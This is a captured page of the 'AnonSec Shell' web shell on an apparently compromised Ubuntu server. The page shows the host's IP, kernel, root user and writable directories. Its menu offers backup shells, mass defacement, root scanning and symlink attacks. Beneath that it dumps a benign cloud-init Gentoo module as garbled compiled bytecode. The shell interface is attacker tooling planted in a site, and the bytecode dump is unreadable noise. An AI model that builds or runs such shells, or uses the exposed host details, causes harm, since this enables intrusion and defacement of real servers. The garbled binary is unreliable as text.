AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/cloudinit/distros/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/cloudinit/distros/__pycache__/gentoo.cpython-310.pyc
o

x[h~�@shddlZddlmZmZmZmZddlmZddlm	Z	ddl
mZmZe�
e�ZGdd�dej�ZdS)�N)�distros�helpers�subp�util)�PackageList)�HostnameConf)�
PER_ALWAYS�PER_INSTANCEc@s�eZdZdZdZddgZdd�Zddd	�Zd
efdd�Z	d
d�Z
dd�Zedd��Z
ddd�Zdd�Zddd�Zdd�dd�ZdS)�Distroz/etc/locale.genzen_US.UTF-8zC.UTF8 UTF-8zen_US.UTF-8 UTF-8cCs>tj�||||�t��rd|_nd|_t�|�|_d|_dS)Nz
/etc/hostnamez/etc/conf.d/hostname�gentoo)	rr
�__init__�uses_systemd�hostname_conf_fnr�Runners�_runner�osfamily)�self�name�cfg�paths�r�:/usr/lib/python3/dist-packages/cloudinit/distros/gentoo.pyrs
zDistro.__init__NcCsFtj|jd�|j�dd�tjdgdd�tjddd	|jgdd�d
S)z�Locales need to be added to /etc/locale.gen and generated prior
        to selection. Default to en_US.UTF-8 for simplicity.
        �
i�)�modez
locale-genF��capture�eselect�locale�setN)r�
write_file�
locale_gen_fn�join�localesr�default_locale)r�_�out_fnrrr�apply_locale+s

�zDistro.apply_locale�pkglistcCs|��|jd|d�dS)N�)�pkgs)�update_package_sources�package_command)rr'rrr�install_packages9szDistro.install_packagescCs�d}z|�|�}Wnty%t�|jdd�}|rnt�d�YdSYnw|s,td�}t�	�r6|�
|�n|�
d|�t�|t|�d�dS)N�create_hostname_fileTz8create_hostname_file is False; hostname file not createdr(z
hostname="%s"i�)
�_read_hostname_conf�IOErrorr�get_cfg_option_bool�_cfg�LOG�inforrr
�set_hostnamer�str)r�hostname�filename�confr-rrr�_write_hostname=s*����zDistro._write_hostnamecCs|�|j�}|j|fS�N)�_read_hostnamer)r�sys_hostnamerrr�_read_system_hostname^s
zDistro._read_system_hostnamecCstt�|��}|��|Sr:)rr�load_text_file�parse)r7r8rrrr.bszDistro._read_hostname_confcCs8d}z
|�|�}|j}Wn	tyYnw|s|S|Sr:)r.r6r/)rr7�defaultr6r8rrrr;hs

�zDistro._read_hostnamecCstj||�|�d�dS)N)�tz�tz_file)r�set_etc_timezone�
_find_tz_file)rrArrr�set_timezonesszDistro.set_timezonecCs�dg}|�d�|dkr|�ddg�n1|durg}|r't|t�r'|�|�n|r3t|t�r3|�|�|r:|�|�t�d|�}|�|�tj|dd�dS)	N�emergez--quiet�upgradez--update�worldz%s-%sFr)�append�extend�
isinstancer5�listr�expand_package_listr)r�command�argsr)�cmdr'rrrr+vs



zDistro.package_commandF)�forcecCs$|jjd|jdg|rtntd�dS)Nzupdate-sourcesz--sync)�freq)r�runr+rr	)rrQrrrr*�s

�zDistro.update_package_sourcesr:)NN)�__name__�
__module__�__qualname__r r#r"rr&rr,r9r=�staticmethodr.r;rEr+r*rrrrr
s
!


r
)�logging�	cloudinitrrrr�cloudinit.distrosr�"cloudinit.distros.parsers.hostnamer�cloudinit.settingsrr	�	getLoggerrTr2r
rrrr�<module>s



Anon7 - 2022
AnonSec Team